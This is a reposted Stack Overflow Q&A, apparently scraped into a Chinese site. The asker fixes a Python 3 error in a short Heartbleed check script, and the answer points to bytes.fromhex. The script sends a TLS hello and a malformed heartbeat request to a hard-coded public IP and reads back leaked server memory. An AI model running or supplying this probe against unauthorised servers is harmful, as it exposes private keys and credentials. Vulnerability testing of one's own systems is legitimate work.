gpt4 book ai didi

python - 使用 heartbleed python 脚本解码错误

转载 作者:行者123 更新时间:2023-12-01 06:59:28 27 4
gpt4 key购买 nike

我在网上寻找hertbleed ssl漏洞,并从Sans网上找到了一个简单的代码:

import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)

此代码只是使用 python 解码以解码格式向 SSL 服务器发送一条 Hello 消息,以查找该服务器是否容易受到 Heartbleed 漏洞的影响。但是当我在 python 3.7 中运行此代码时,它显示错误,如下所示:

sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))

AttributeError: 'str' object has no attribute 'decode'

注意:尝试使用其他 IP 地址,而不是在此使用的 IP 地址

最佳答案

从十六进制解码 str 值在 Python 2 中有效:

>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'

在 Python 3 中,您想要使用 bytes.fromhex :

>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'

关于python - 使用 heartbleed python 脚本解码错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/58699169/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com